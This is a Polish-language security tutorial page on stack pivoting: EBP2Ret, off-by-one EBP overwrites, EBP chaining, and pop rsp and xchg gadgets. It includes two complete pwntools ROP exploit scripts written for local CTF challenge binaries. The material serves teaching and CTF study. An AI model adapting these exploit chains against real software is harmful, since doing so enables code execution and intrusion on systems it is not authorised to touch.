7.1 KiB

Stack Pivoting - EBP2Ret - EBP chaining

{{#include ../../../banners/hacktricks-training.md}}

Podstawowe informacje

Ta technika wykorzystuje możliwość manipulacji wskaźnikiem bazowym (EBP) do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji leave; ret.

Przypominając, leave zasadniczo oznacza:

mov               esp, ebp
pop               ebp
ret

I jako że EBP jest w stosie przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.

EBP2Ret

Ta technika jest szczególnie przydatna, gdy możesz zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.

Jeśli podczas wykonywania fvuln uda ci się wstrzyknąć fałszywy EBP do stosu, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację pop), możesz pośrednio kontrolować EIP. Gdy fvuln zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja pop zmniejsza ESP o 4, skutecznie wskazując na adres przechowywany przez atakującego.
Zauważ, że musisz znać 2 adresy: Ten, na który ESP ma iść, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.

Budowa Exploita

Najpierw musisz znać adres, w którym możesz zapisać dowolne dane/adresy. ESP będzie wskazywać tutaj i wykona pierwsze ret.

Następnie musisz znać adres używany przez ret, który wykona dowolny kod. Możesz użyć:

  • Ważnego ONE_GADGET adresu.
  • Adresu system(), po którym następują 4 bajty śmieci i adres "/bin/sh" (x86 bits).
  • Adresu jump esp; gadgetu (ret2esp), po którym następuje shellcode do wykonania.
  • Jakiegoś ROP łańcucha.

Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być 4 bajty z powodu części pop instrukcji leave. Możliwe byłoby wykorzystanie tych 4B do ustawienia drugiego fałszywego EBP i kontynuowania kontroli nad wykonaniem.

Exploit Off-By-One

Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz zmodyfikować tylko najmniej znaczący bajt EBP. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z ret, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.

Łańcuchowanie EBP

Dlatego umieszczając kontrolowany adres w wpisie EBP stosu i adres do leave; ret w EIP, możliwe jest przeniesienie ESP do kontrolowanego adresu EBP ze stosu.

Teraz ESP jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to RET. Aby to wykorzystać, możliwe jest umieszczenie w kontrolowanym miejscu ESP:

  • &(next fake EBP) -> Załaduj nowy EBP z powodu pop ebp z instrukcji leave
  • system() -> Wywołane przez ret
  • &(leave;ret) -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie od nowa
  • &("/bin/sh")-> Parametr dla system

W zasadzie w ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu.

To jest jak ret2lib, ale bardziej skomplikowane, bez oczywistych korzyści, ale może być interesujące w niektórych przypadkach brzegowych.

Ponadto, tutaj masz przykład wyzwania, które wykorzystuje tę technikę z wyciekiem stosu, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP jest bezużyteczny

Jak wyjaśniono w tym poście, jeśli binarka jest kompilowana z pewnymi optymalizacjami, EBP nigdy nie kontroluje ESP, dlatego jakikolwiek exploit działający poprzez kontrolowanie EBP w zasadzie się nie powiedzie, ponieważ nie ma rzeczywistego efektu.
Dzieje się tak, ponieważ prolog i epilog zmieniają się, jeśli binarka jest zoptymalizowana.

  • Nieoptymalizowane:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optymalizowane:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Inne sposoby kontrolowania RSP

pop rsp gadget

Na tej stronie znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był gadget pop rsp i występował leak ze stosu:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

Odniesienia

{{#include ../../../banners/hacktricks-training.md}}